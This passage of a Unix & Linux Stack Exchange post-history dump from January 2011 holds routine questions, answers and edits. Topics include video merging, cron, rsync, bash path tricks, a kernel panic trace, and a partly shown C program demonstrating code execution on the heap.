  <row Id="12142" PostHistoryTypeId="3" PostId="5441" RevisionGUID="e39c1d7c-6b13-49f2-b3c4-d43b8234dc20" CreationDate="2011-01-05T23:23:16.020" UserId="1055" Text="établetà" />
  <row Id="12143" PostHistoryTypeId="18" PostId="5268" RevisionGUID="8bfb2e76-5911-4b8a-bf26-aaa6374d6f12" CreationDate="2011-01-05T23:47:09.980" UserId="331" Comment="to http://unix.stackexchange.com/questions/2273/how-do-i-merge-two-avi-files-into-one" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="12144" PostHistoryTypeId="18" PostId="5273" RevisionGUID="8bfb2e76-5911-4b8a-bf26-aaa6374d6f12" CreationDate="2011-01-05T23:47:09.980" UserId="331" Comment="from http://unix.stackexchange.com/questions/5268/how-do-i-merge-two-avi-files-into-one" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="12145" PostHistoryTypeId="18" PostId="5299" RevisionGUID="8bfb2e76-5911-4b8a-bf26-aaa6374d6f12" CreationDate="2011-01-05T23:47:09.980" UserId="331" Comment="from http://unix.stackexchange.com/questions/5268/how-do-i-merge-two-avi-files-into-one" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="12146" PostHistoryTypeId="18" PostId="2273" RevisionGUID="8bfb2e76-5911-4b8a-bf26-aaa6374d6f12" CreationDate="2011-01-05T23:47:09.980" UserId="331" Comment="from http://unix.stackexchange.com/questions/5268/how-do-i-merge-two-avi-files-into-one" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="12147" PostHistoryTypeId="14" PostId="5268" RevisionGUID="6197758b-47a5-4781-8325-5754e7aed623" CreationDate="2011-01-05T23:47:10.263" UserId="331" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="12148" PostHistoryTypeId="5" PostId="2273" RevisionGUID="d335a1e6-3ea0-4488-a294-32b9c589cfc3" CreationDate="2011-01-05T23:47:26.267" UserId="331" Comment="added 5 characters in body; edited tags" Text="I have two `*.avi` files:&#xD;&#xA;&#xD;&#xA;    sequence1.avi&#xD;&#xA;    sequence2.avi&#xD;&#xA;&#xD;&#xA;How do I merge these two files using a command-line or GUI?&#xD;&#xA;" />
  <row Id="12149" PostHistoryTypeId="6" PostId="2273" RevisionGUID="d335a1e6-3ea0-4488-a294-32b9c589cfc3" CreationDate="2011-01-05T23:47:26.267" UserId="331" Comment="added 5 characters in body; edited tags" Text="écommandölineàéguiàévideoàéffmpegà" />
  <row Id="12150" PostHistoryTypeId="5" PostId="5439" RevisionGUID="e53f5282-01a3-4963-96d2-0b015f0e12b8" CreationDate="2011-01-05T23:58:02.853" UserId="3466" Comment="added 68 characters in body" Text="At home I have a server running a couple of VMs. Is it possible to bind &lt;CTRL&gt;&lt;ALT&gt;&lt;Fn&gt; to an xsession running in those VMs?. Ideally, I'd like it to behave the same as pressing &lt;CTRL&gt;&lt;ALT&gt;&lt;F7&gt; (x-windows login screen if I'm not logged in). Dom0 is running CentOs 5.5 and the VMs are all xen virtual machines" />
  <row Id="12151" PostHistoryTypeId="2" PostId="5442" RevisionGUID="ca0b55d4-e6fd-42cf-8ee5-85b89162ab31" CreationDate="2011-01-06T00:47:51.423" UserId="4" Text="Here is the answer from RedHat support:&#xD;&#xA;&#xD;&#xA;&gt; Please be informed that all files under cron.d directory are examined and executed, it's basically an extension of /etc/crontab file (ie; same effect if you add the entries to /etc/crontab file)&#xD;&#xA;&#xD;&#xA;So, to answer my question &quot;Does this operating system execute all files at /etc/cron.d/*, or does it only execute files which match a certain pattern. Can I configure this, and where is this defined?&quot;&#xD;&#xA;&#xD;&#xA;All files under /etc/cron.d/* are executed (Although it seems that certain file extensions such as .rpmsave, *~, etc are ignored, according to documentation in the source files). It is not possible to configure this via a configuration file. Configuring this is probably possible if the source is recompiled. This behavior is mentioned in the documentation contained with the source, but doesn't appear in any manual or man page that I can find." />
  <row Id="12152" PostHistoryTypeId="2" PostId="5443" RevisionGUID="f0230b13-0f28-4fbb-b470-ba5cb92f7610" CreationDate="2011-01-06T05:41:56.573" UserId="2871" Text="As Danny has stated `tty` is __teletype terminals__. The fact is that most of us have used it every time, but most of has not gone to understand it. Here is a very good article which gives us a basic understanding of TTYs in Linux. &#xD;&#xA;&#xD;&#xA;[The TTY Demystified][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linusakesson.net/programming/tty/index.php&#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen" />
  <row Id="12153" PostHistoryTypeId="2" PostId="5444" RevisionGUID="a2ab08e9-4026-4404-bb51-e3220f1a6aa8" CreationDate="2011-01-06T05:56:13.680" UserId="2871" Text="Yup, I found where is that **install path**.  &#xD;&#xA;&#xD;&#xA;It is inside `/sbin`. The script file name is `installkernel`.  &#xD;&#xA;&#xD;&#xA;Just need to make a couple of changes in there and i could change the default install path of my Linux source(which was /boot)." />
  <row Id="12154" PostHistoryTypeId="5" PostId="5444" RevisionGUID="d8a3964c-e270-4148-99a3-a157001d3707" CreationDate="2011-01-06T06:23:20.623" UserId="2871" Comment="added 2 characters in body" Text="Yup, I found where is that **install path**.  &#xD;&#xA;&#xD;&#xA;It is inside `/sbin`. The script file name is `installkernel`.  &#xD;&#xA;&#xD;&#xA;Just need to make a couple of changes in there and i could change the default install path of my Linux source(which was /boot).  " />
  <row Id="12155" PostHistoryTypeId="12" PostId="5444" RevisionGUID="177a54e4-cd19-42b5-af55-5de457ab5184" CreationDate="2011-01-06T06:23:45.507" UserId="2871" Text="[{&quot;Id&quot;:2871,&quot;DisplayName&quot;:&quot;Sen&quot;}]" />
  <row Id="12156" PostHistoryTypeId="13" PostId="5444" RevisionGUID="3d01781d-38d4-44b1-8d47-fc91dc2fda00" CreationDate="2011-01-06T06:23:52.090" UserId="2871" Text="[{&quot;Id&quot;:2871,&quot;DisplayName&quot;:&quot;Sen&quot;}]" />
  <row Id="12157" PostHistoryTypeId="5" PostId="4020" RevisionGUID="d2922e43-8c0e-42a3-9b63-2c24f012f11a" CreationDate="2011-01-06T06:34:08.117" UserId="1327" Comment="added 1 characters in body" Text="Is I understand Unix filesystems, any file on a unix system must belong to a group and a user of the said system. A file cannot belong to a group or user that does not exist on the system.&#xD;&#xA;&#xD;&#xA;From that assumtion, there are a few questions that come to mind. What happens to the group and user attributes when media is transferred between computers, be it via a flash drive, a cdrom or a network share. To whom does the file belong in the new system?&#xD;&#xA;&#xD;&#xA;Can you limit the data to only work on your system? ( Not talking about encryption here, just basics )&#xD;&#xA;&#xD;&#xA;Also, when you transfer data between two computers, are there ways to ensure that the group and user attributes stay intact ( what belongs to root will belong to root on the new system and the same with the normal user )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12158" PostHistoryTypeId="5" PostId="4020" RevisionGUID="daa8fc15-4ba6-4267-95dc-dfb871c94ae0" CreationDate="2011-01-06T06:43:33.580" UserId="1207" Comment="deleted 4 characters in body" Text="As I understand Unix file systems, any file on a unix system must belong to a group and a user of the said system. A file cannot belong to a group or user that does not exist on the system.&#xD;&#xA;&#xD;&#xA;From that assumption, there are a few questions that come to mind. What happens to the group and user attributes when media is transferred between computers, be it via a flash drive, a CDROM or a network share. To whom does the file belong in the new system?&#xD;&#xA;&#xD;&#xA;Can you limit the data to only work on your system? (Not talking about encryption here, just basics.)&#xD;&#xA;&#xD;&#xA;Also, when you transfer data between two computers, are there ways to ensure that the group and user attributes stay intact (what belongs to root will belong to root on the new system and the same with the normal user)." />
  <row Id="12159" PostHistoryTypeId="2" PostId="5445" RevisionGUID="0ceca029-7d43-4142-a0da-3b400fcf0046" CreationDate="2011-01-06T06:45:54.920" UserId="3468" Text="I believe everything needed for binary install of pkgsrc is bundled as default, but if you want pkgsrc source you have to check out the code. &#xD;&#xA;&#xD;&#xA;I do not think ports is a default for NetBSD.&#xD;&#xA;&#xD;&#xA;http://www.netbsd.org/docs/software/packages.html#docs" />
  <row Id="12160" PostHistoryTypeId="5" PostId="5272" RevisionGUID="d2bfc926-2ef4-4445-bd8d-255a4b7e9338" CreationDate="2011-01-06T06:46:45.043" UserId="1207" Comment="added 7 characters in body" Text="Easy with mencoder (shipped with mplayer in Arch Linux):&#xD;&#xA;&#xD;&#xA;    $ mencoder -oac copy -ovc copy video1.avi video2.avi -o final.avi" />
  <row Id="12161" PostHistoryTypeId="2" PostId="5446" RevisionGUID="15c829f6-4556-4503-94a6-8f4632953dc6" CreationDate="2011-01-06T07:26:11.983" UserId="1779" Text="V4L2 API [does not specify any sharing](http://v4l2spec.bytesex.org/spec/c174.htm#AEN270) of one device between multiple applications.  It's not obvious how this is possible at a low level as each application may want to set different resolution/colorspace/etc. options.&#xD;&#xA;&#xD;&#xA;But it ought to be relatively straightforward to modify something like [v4l2vd](http://v4l2vd.sourceforge.net/) to be the single reader of the actual hardware device and make multiple copies for multiple clients in userspace." />
  <row Id="12162" PostHistoryTypeId="2" PostId="5447" RevisionGUID="8a3373e1-005e-41fc-9482-27a385929191" CreationDate="2011-01-06T07:41:36.397" UserId="3468" Text="Since Im a newb, I am only allowed one hyperlink. [Here is a Google Doc][1] with the correct links.  No proven solutions, but here are some ideas:&#xD;&#xA;&#xD;&#xA;The kernel framebuffer draws the console if there is no X11. Perhaps you can exclude the second display from you X config?&#xD;&#xA;&#xD;&#xA;I think the way to go (*think* because I havent done this myself, I like the full screen term) is to configure your external monitor as a separate framebuffer. Now you'll have one fb for the console and one for X11.&#xD;&#xA;&#xD;&#xA;I have found several con2fb, which maps a tty to a framebuffer, something like &quot;con2fb /dev/fb2 /dev/tty5&quot; but can not find where to download it. Another fan had a similar search and the source is posted [here][x].&#xD;&#xA;&#xD;&#xA;Also check out [this doc][x], especially 14.9 and this [multihead howto][x] that both discribe con2fb.&#xD;&#xA;&#xD;&#xA;Im thinking you could then take turns sending a tty to /dev/fb2 or extending your desktop... maybe xrandr?&#xD;&#xA;&#xD;&#xA;Another way to try could be a multiseat set up. This typically has separate multiple kb and mouse for each display, but you could use Synergy2, and external kvm switch, custom config with hotkeys....? [xorg][x] [xfree][x] &#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/document/pub?id=1UWfrgJKaXPqCOhYqHxVzHvv2BYKb9CdTpZI0WgOWamE" />
  <row Id="12163" PostHistoryTypeId="2" PostId="5448" RevisionGUID="2250b07a-c747-4316-b0a6-0dfb6551cd74" CreationDate="2011-01-06T07:49:43.047" UserId="1535" Text="The file [/usr/share/doc/linux-doc/usb/persist.txt.gz](http://www.mjmwired.net/kernel/Documentation/usb/persist.txt) mentions that the USB-persist capability can be enabled for a given USB device by writing `1` to the file `persist` in that device's directory in `/sys/bus/usb/devices/$device/power`.  This is said — if I understood correctly — to allow mountings of volumes on the drive to persist across power loss during suspend.&#xD;&#xA;&#xD;&#xA;However, I've discovered that the device I'd like to enable this facility for — a USB hard drive — does not have such a file in its corresponding directory, and that attempts to create it are rebuffed.&#xD;&#xA;&#xD;&#xA;Is there perhaps a kernel module that needs to be loaded for this to work?  Do I need to build a custom kernel?  I'm running ubuntu 10.10." />
  <row Id="12164" PostHistoryTypeId="1" PostId="5448" RevisionGUID="2250b07a-c747-4316-b0a6-0dfb6551cd74" CreationDate="2011-01-06T07:49:43.047" UserId="1535" Text="`power/persist` file not found in USB device sysfs directory" />
  <row Id="12165" PostHistoryTypeId="3" PostId="5448" RevisionGUID="2250b07a-c747-4316-b0a6-0dfb6551cd74" CreationDate="2011-01-06T07:49:43.047" UserId="1535" Text="élinuxàékernelàéusbàéusbödriveàékernelömodulesà" />
  <row Id="12166" PostHistoryTypeId="2" PostId="5449" RevisionGUID="05196005-b767-479d-b45f-41e3f959caaf" CreationDate="2011-01-06T08:11:14.183" UserId="2871" Text="Hi All,  &#xD;&#xA;I would like to know if i can execute a code piece sitting inside the heap space?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="12167" PostHistoryTypeId="1" PostId="5449" RevisionGUID="05196005-b767-479d-b45f-41e3f959caaf" CreationDate="2011-01-06T08:11:14.183" UserId="2871" Text="Is it possible to execute a code in heap space?" />
  <row Id="12168" PostHistoryTypeId="3" PostId="5449" RevisionGUID="05196005-b767-479d-b45f-41e3f959caaf" CreationDate="2011-01-06T08:11:14.183" UserId="2871" Text="élinuxàéheapàécodeà" />
  <row Id="12169" PostHistoryTypeId="2" PostId="5450" RevisionGUID="e2a226ff-2acd-45ba-9020-e98d7d3a1e7e" CreationDate="2011-01-06T08:22:31.903" UserId="885" Text="Maybe. If the heap is executable, you can branch to that code. But some unix variants make the [heap space non-executable](http://en.wikipedia.org/wiki/Executable_space_protection), so as to make exploits of some security vulnerabilities such as buffer overflows more difficult (then even if you can inject code into a program, you might not be able to branch to it). (See the linked article for a discussion of unix variants and their configuration.)&#xD;&#xA;&#xD;&#xA;There is a standard unix API to load and execute code, which will do what it takes to make the loaded code executable: [dlopen](http://en.wikipedia.org/wiki/Dlopen). The code has to be loaded from a file.&#xD;&#xA;&#xD;&#xA;[Just-in-time compilers](http://en.wikipedia.org/wiki/Just-in-time_compilation) typically try to find faster interfaces than dlopen. They have to manage the highly platform-dependent ways of ensuring code executability.&#xD;&#xA;" />
  <row Id="12170" PostHistoryTypeId="5" PostId="5449" RevisionGUID="09fc8c6d-beb9-4b3e-8dd3-ed85bc6f846f" CreationDate="2011-01-06T08:23:55.557" UserId="885" Comment="deleted 27 characters in body; edited tags; edited title" Text="I would like to know if i can execute a code piece sitting inside the heap space?  &#xD;&#xA;" />
  <row Id="12171" PostHistoryTypeId="4" PostId="5449" RevisionGUID="09fc8c6d-beb9-4b3e-8dd3-ed85bc6f846f" CreationDate="2011-01-06T08:23:55.557" UserId="885" Comment="deleted 27 characters in body; edited tags; edited title" Text="Is it possible to execute code in heap space?" />
  <row Id="12172" PostHistoryTypeId="6" PostId="5449" RevisionGUID="09fc8c6d-beb9-4b3e-8dd3-ed85bc6f846f" CreationDate="2011-01-06T08:23:55.557" UserId="885" Comment="deleted 27 characters in body; edited tags; edited title" Text="élinuxàémemoryàécodeàédynamicölinkingà" />
  <row Id="12173" PostHistoryTypeId="2" PostId="5451" RevisionGUID="0bdc0171-b191-40a8-be27-ecd0863cee5f" CreationDate="2011-01-06T08:29:34.690" UserId="1875" Text="Say I have&#xD;&#xA;&#xD;&#xA;    Server A &#xD;&#xA;      001.jpg&#xD;&#xA;      002.jpg&#xD;&#xA;      a.zip&#xD;&#xA;    &#xD;&#xA;    Server B&#xD;&#xA;      hello.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`rsync -d --delete server_a:*.jpg .`&#xD;&#xA;&#xD;&#xA;It doesn't remove hello.jpg from server B, any idea how to archive this?&#xD;&#xA;" />
  <row Id="12174" PostHistoryTypeId="1" PostId="5451" RevisionGUID="0bdc0171-b191-40a8-be27-ecd0863cee5f" CreationDate="2011-01-06T08:29:34.690" UserId="1875" Text="`rsync -d --delete *.jpg` doesn't remove files that not exist on the origin location?" />
  <row Id="12175" PostHistoryTypeId="3" PostId="5451" RevisionGUID="0bdc0171-b191-40a8-be27-ecd0863cee5f" CreationDate="2011-01-06T08:29:34.690" UserId="1875" Text="érsyncà" />
  <row Id="12176" PostHistoryTypeId="2" PostId="5452" RevisionGUID="34897292-c44a-418b-b94f-2ebf01658d4c" CreationDate="2011-01-06T08:46:15.963" UserId="1327" Text="Is it posible to use the result of `mplayer tv:// -vo caca` ( viewing webcam as ascii art ) in skype or any other applications that utilize the webcam?&#xD;&#xA;&#xD;&#xA;Maybe something like this:&#xD;&#xA;&#xD;&#xA;`/dev/video0` ---&gt; `mplayer` ---&gt; `/dev/video1`&#xD;&#xA;&#xD;&#xA;Then skype could just use the `video1` device...&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="12177" PostHistoryTypeId="1" PostId="5452" RevisionGUID="34897292-c44a-418b-b94f-2ebf01658d4c" CreationDate="2011-01-06T08:46:15.963" UserId="1327" Text="Manupilating `/dev/video` with mplayer" />
  <row Id="12178" PostHistoryTypeId="3" PostId="5452" RevisionGUID="34897292-c44a-418b-b94f-2ebf01658d4c" CreationDate="2011-01-06T08:46:15.963" UserId="1327" Text="évideoàémplayerà" />
  <row Id="12179" PostHistoryTypeId="6" PostId="5421" RevisionGUID="9786f4b5-6d1e-454c-8324-cc1a41662db9" CreationDate="2011-01-06T10:52:23.467" UserId="2871" Comment="edited tags" Text="élinuxàéterminalàéhistoryà" />
  <row Id="12180" PostHistoryTypeId="6" PostId="3728" RevisionGUID="413cc44d-cf6d-4698-b563-67760e6430c8" CreationDate="2011-01-06T12:08:42.373" UserId="688" Comment="edited tags" Text="égnomeàéscreenshotà" />
  <row Id="12181" PostHistoryTypeId="4" PostId="3568" RevisionGUID="7926ae38-51a4-454c-9365-f17167b2a2e2" CreationDate="2011-01-06T12:13:11.850" UserId="688" Comment="edited title" Text="How to switch between users on one terminal?" />
  <row Id="12182" PostHistoryTypeId="2" PostId="5453" RevisionGUID="f278d44b-12af-43dc-8ecb-8e7f69d11419" CreationDate="2011-01-06T12:45:07.423" UserId="1878" Text="Using bash, what is the easiest way to 'replace' a given part of the current path with something else?  If my current path is of the form `/xxxxx/foo/yyyyy`, how can I jump to the `/xxxxx/bar/baz/yyyyy` directory with the shortest command?" />
  <row Id="12183" PostHistoryTypeId="1" PostId="5453" RevisionGUID="f278d44b-12af-43dc-8ecb-8e7f69d11419" CreationDate="2011-01-06T12:45:07.423" UserId="1878" Text="Quickest way to change dir from /xxxxx/foo/yyyyyy to /xxxxx/bar/yyyyyy" />
  <row Id="12184" PostHistoryTypeId="3" PostId="5453" RevisionGUID="f278d44b-12af-43dc-8ecb-8e7f69d11419" CreationDate="2011-01-06T12:45:07.423" UserId="1878" Text="ébashà" />
  <row Id="12185" PostHistoryTypeId="2" PostId="5454" RevisionGUID="3872bf97-1bc1-41cf-9e2a-b6da6059b5b4" CreationDate="2011-01-06T12:46:26.237" UserId="1878" Text="Not so short, but works: `cd ${PWD/foo/bar\/baz}`" />
  <row Id="12186" PostHistoryTypeId="2" PostId="5455" RevisionGUID="6b3098e8-5f83-4e2d-950a-73152c2754d6" CreationDate="2011-01-06T12:51:38.330" UserId="678" Text="    cd ../../bar/baz/yyyyy&#xD;&#xA;    cd $(echo $PWD | sed 's|foo|bar/baz|')&#xD;&#xA;&#xD;&#xA;The second one looks &quot;cooler&quot; but the first one is shorter." />
  <row Id="12187" PostHistoryTypeId="2" PostId="5456" RevisionGUID="e9f8873a-5912-44fd-83e5-24b47c38cae6" CreationDate="2011-01-06T13:14:46.390" UserId="3476" Text="How can I append a new line to a text file followed by current date and time?" />
  <row Id="12188" PostHistoryTypeId="1" PostId="5456" RevisionGUID="e9f8873a-5912-44fd-83e5-24b47c38cae6" CreationDate="2011-01-06T13:14:46.390" UserId="3476" Text="Appending text to end of a textfile" />
  <row Id="12189" PostHistoryTypeId="3" PostId="5456" RevisionGUID="e9f8873a-5912-44fd-83e5-24b47c38cae6" CreationDate="2011-01-06T13:14:46.390" UserId="3476" Text="écommandölineà" />
  <row Id="12190" PostHistoryTypeId="2" PostId="5457" RevisionGUID="a180ad77-3ace-4459-bd74-cbe20f87447f" CreationDate="2011-01-06T13:20:56.150" UserId="305" Text="    echo &quot;text&quot; &gt;&gt; file&#xD;&#xA;    date &gt;&gt; file&#xD;&#xA;&#xD;&#xA;If you want to have just in one line&#xD;&#xA;&#xD;&#xA;    echo -n &quot;text&quot; &gt;&gt; file&#xD;&#xA;    date &gt;&gt; file&#xD;&#xA;" />
  <row Id="12191" PostHistoryTypeId="2" PostId="5458" RevisionGUID="f3c11c2a-8959-4998-918b-d2309a7a539d" CreationDate="2011-01-06T13:24:47.397" UserId="2327" Text="Asuming you changed to `/xxxxx/foo/yyyyy` with `cd /xxxxx/foo/yyyyy` and want to change directly after this command to the other directory, you could use `!!:s/foo/bar\/baz/`. Which means, repeat the last command, but replace `foo` with `bar/baz`. &#xD;&#xA;&#xD;&#xA;When you executed some commands between the two `cd`s, you could use `!cd:s/foo/bar\/baz/`. Whichs means, repeat last `cd` command and replace.&#xD;&#xA;&#xD;&#xA;For some more examples and history commands, take a look at the [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html#Using-History-Interactively)." />
  <row Id="12192" PostHistoryTypeId="4" PostId="3378" RevisionGUID="c217d6ef-3999-429e-b470-b3334ab66555" CreationDate="2011-01-06T13:26:21.730" UserId="305" Comment="edited tags; edited title" Text="Modifying PDF files" />
  <row Id="12193" PostHistoryTypeId="6" PostId="3378" RevisionGUID="c217d6ef-3999-429e-b470-b3334ab66555" CreationDate="2011-01-06T13:26:21.730" UserId="305" Comment="edited tags; edited title" Text="écommandölineàésoftwareörecàéeditorsàéguiàépdfà" />
  <row Id="12194" PostHistoryTypeId="2" PostId="5459" RevisionGUID="64721c06-907a-4fd8-83b4-ad1bd7599f3f" CreationDate="2011-01-06T13:38:45.790" UserId="2871" Text="This is the output i get when i run one of my applications: &#xD;&#xA;&#xD;&#xA;    Kernel bug detected[#1]:&#xD;&#xA;    Cpu 0&#xD;&#xA;    $ 0   : 00000000 00000000 0fffff00 0fffff00&#xD;&#xA;    $ 4   : c6800000 850b7780 8b0043c0 00000040&#xD;&#xA;    $ 8   : 000004ac 000004ac 00000002 844e8000&#xD;&#xA;    $12   : 00000000 feced300 8430d2ac 0000000a&#xD;&#xA;    $16   : 00000040 000000fc 8b759300 00000001&#xD;&#xA;    $20   : 00000012 84370000 00000004 00000009&#xD;&#xA;    $24   : 00000000 8403d4f4                  &#xD;&#xA;    $28   : 8b1c0000 8b1c3ee0 0000000a 84255764&#xD;&#xA;    Hi    : 003d08ef&#xD;&#xA;    Lo    : 79432700&#xD;&#xA;    epc   : 840a754c 0x840a754c&#xD;&#xA;        Tainted: P          &#xD;&#xA;    ra    : 84255764 0x84255764&#xD;&#xA;    Status: 1100dc03    KERNEL EXL IE &#xD;&#xA;    Cause : 00800034&#xD;&#xA;    PrId  : 00019749 (MIPS 74Kc)&#xD;&#xA;    Modules linked in: em8xxxcursor(P) em8xxxfb em8xxxcopybit(P) pmem_rua em8xxx(P) llad(P)&#xD;&#xA;    Process events/0 (pid: 4, threadinfo=8b1c0000, task=8b0323d8, tls=00000000)&#xD;&#xA;    Stack : 8b0323d8 8402d074 843d0c68 843d10e8 8b1c3f80 8b0323d8 843d0cc8 8b2d6de8&#xD;&#xA;            8b2d6de8 8402d194 00000003 00000000 00000000 84300000 84374104 8b124c80&#xD;&#xA;            84255238 fffffffc efffffff 8431d16c 8431d1a4 00000000 00000000 8404c364&#xD;&#xA;            8404cc6c 00000001 8b124c88 8b124c80 8b124c88 8b124c80 8b1c3f80 00000000&#xD;&#xA;            00000000 00000000 00000000 8404cc04 8b03254c 8b03254c 84051638 00000000&#xD;&#xA;            ...&#xD;&#xA;    Call Trace:[&lt;8402d074&gt;] 0x8402d074&#xD;&#xA;    [&lt;8402d194&gt;] 0x8402d194&#xD;&#xA;    [&lt;84255238&gt;] 0x84255238&#xD;&#xA;    [&lt;8404c364&gt;] 0x8404c364&#xD;&#xA;    [&lt;8404cc6c&gt;] 0x8404cc6c&#xD;&#xA;    [&lt;8404cc04&gt;] 0x8404cc04&#xD;&#xA;    [&lt;84051638&gt;] 0x84051638&#xD;&#xA;    [&lt;84051b14&gt;] 0x84051b14&#xD;&#xA;    [&lt;8404cba8&gt;] 0x8404cba8&#xD;&#xA;    [&lt;84051650&gt;] 0x84051650&#xD;&#xA;    [&lt;8401504c&gt;] 0x8401504c&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Code: 3c030fff  3463ff00  00431024 &lt;00028036&gt; 09029cfd  24050001  27bdffc8  0085102b  afb7002c &#xD;&#xA;    Kernel panic - not syncing: Fatal exception in interrupt&#xD;&#xA;&#xD;&#xA;Am i able to get some info from this dump regarding the issue which is making this happen?  &#xD;&#xA;All helps welcomed.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="12195" PostHistoryTypeId="1" PostId="5459" RevisionGUID="64721c06-907a-4fd8-83b4-ad1bd7599f3f" CreationDate="2011-01-06T13:38:45.790" UserId="2871" Text="How to understand the kernel panic core dump output?" />
  <row Id="12196" PostHistoryTypeId="3" PostId="5459" RevisionGUID="64721c06-907a-4fd8-83b4-ad1bd7599f3f" CreationDate="2011-01-06T13:38:45.790" UserId="2871" Text="élinuxàékernelöpanicàécoreödumpà" />
  <row Id="12197" PostHistoryTypeId="5" PostId="5452" RevisionGUID="2aac5b70-e560-4fef-99b8-1ee5031508d5" CreationDate="2011-01-06T13:43:50.817" UserId="1327" Comment="added 138 characters in body; edited tags; edited title; edited title" Text="I'd like to take the video stream from `/dev/video0`, apply some effects or changes and make the result available on `/dev/video1`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`/dev/video0` ---&gt; Apply Effects ---&gt; `/dev/video1` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For example, `mplayer tv:// -vo caca` will display the output of `/dev/video` in ascii art. I would like to make that available on `/dev/video1` so that I could  send that through skype instead of my default webcam feed....&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12198" PostHistoryTypeId="4" PostId="5452" RevisionGUID="2aac5b70-e560-4fef-99b8-1ee5031508d5" CreationDate="2011-01-06T13:43:50.817" UserId="1327" Comment="added 138 characters in body; edited tags; edited title; edited title" Text="Manupilating `/dev/video`" />
  <row Id="12199" PostHistoryTypeId="6" PostId="5452" RevisionGUID="2aac5b70-e560-4fef-99b8-1ee5031508d5" CreationDate="2011-01-06T13:43:50.817" UserId="1327" Comment="added 138 characters in body; edited tags; edited title; edited title" Text="évideoàédevicesà" />
  <row Id="12200" PostHistoryTypeId="2" PostId="5460" RevisionGUID="838ff1c6-a763-4c61-86a8-9f4b58f81883" CreationDate="2011-01-06T14:02:50.623" UserId="688" Text="I get the option to **Shut down computer when finished** during encoding stage of Avidemux. Why would I want to do that??" />
  <row Id="12201" PostHistoryTypeId="1" PostId="5460" RevisionGUID="838ff1c6-a763-4c61-86a8-9f4b58f81883" CreationDate="2011-01-06T14:02:50.623" UserId="688" Text="Is 'Shut down computer when finished' during Avidemux encoding stage useful?" />
  <row Id="12202" PostHistoryTypeId="3" PostId="5460" RevisionGUID="838ff1c6-a763-4c61-86a8-9f4b58f81883" CreationDate="2011-01-06T14:02:50.623" UserId="688" Text="éavidemuxà" />
  <row Id="12203" PostHistoryTypeId="2" PostId="5461" RevisionGUID="2d0ddf33-dd0f-4bd5-a8dc-e3a850d19d42" CreationDate="2011-01-06T14:07:20.290" UserId="29" Text="Maybe because you're encoding is going to take hours after you leave and you don't really want to keep the computer running when you're not using it to save power." />
  <row Id="12204" PostHistoryTypeId="2" PostId="5462" RevisionGUID="fac4fb67-2102-4e73-8d49-37d2dd739e49" CreationDate="2011-01-06T14:09:03.950" UserId="732" Text="On some hardware (like HP's HP-PA CPUs) it's far more difficult, and on others (like DEC Alpha CPU) you have to do an instruction cache flush first, but yes, in general, you can execute code on the heap.  The following is a reasonably decent C language program that executes code &quot;on the heap&quot;.&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;signal.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    &#xD;&#xA;    /* $Id: cpup4.c,v 1.2 1999/02/25 05:12:53 bediger Exp bediger $ */&#xD;&#xA;    &#xD;&#xA;    typedef int (*fxptr)(&#xD;&#xA;                    int, int, int (*)(const char *, ...),&#xD;&#xA;                    void *,&#xD;&#xA;                    void *(*)(void *, const void *, size_t),&#xD;&#xA;                    void *(*)(size_t),&#xD;&#xA;                    void (*)(void *),&#xD;&#xA;                    size_t&#xD;&#xA;    );&#xD;&#xA;    &#xD;&#xA;    char *signal_string(int sig);&#xD;&#xA;    void  signal_handler(int sig);&#xD;&#xA;    int   main(int ac, char **av);&#xD;&#xA;    int copyup(&#xD;&#xA;                    int i,&#xD;&#xA;                    int j,&#xD;&#xA;                    int (*xptr)(const char *, ...),&#xD;&#xA;                    void *yptr,&#xD;&#xA;                    void *(*bptr)(void *, const void *, size_t),&#xD;&#xA;                    void *(*mptr)(size_t),&#xD;&#xA;                    void (*ffptr)(void *),&#xD;&#xA;                    size_t  size&#xD;&#xA;    );&#xD;&#xA;    void f2(void);&#xD;&#xA;    &#xD;&#xA;    /* return a string for the most common signals this program&#xD;&#xA;     * will generate.  Probably could replace this with strerror()&#xD;&#xA;     */&#xD;&#xA;    char *&#xD;&#xA;    signal_string(sig)&#xD;&#xA;                    int sig;&#xD;&#xA;    {&#xD;&#xA;                    char *bpr = &quot;Don't know what signal&quot;;&#xD;&#xA;    &#xD;&#xA;                    switch (sig)&#xD;&#xA;                    {&#xD;&#xA;                    case SIGILL:&#xD;&#xA;                                    bpr = &quot;Illegal instruction&quot;;&#xD;&#xA;                                    break;&#xD;&#xA;                    case SIGSEGV:&#xD;&#xA;                                    bpr = &quot;Segmentation violation&quot;;&#xD;&#xA;                                    break;&#xD;&#xA;                    case SIGBUS:&#xD;&#xA;                                    bpr = &quot;Bus error&quot;;&#xD;&#xA;                                    break;&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    return bpr;&#xD;&#xA;    }&#xD;&#xA;    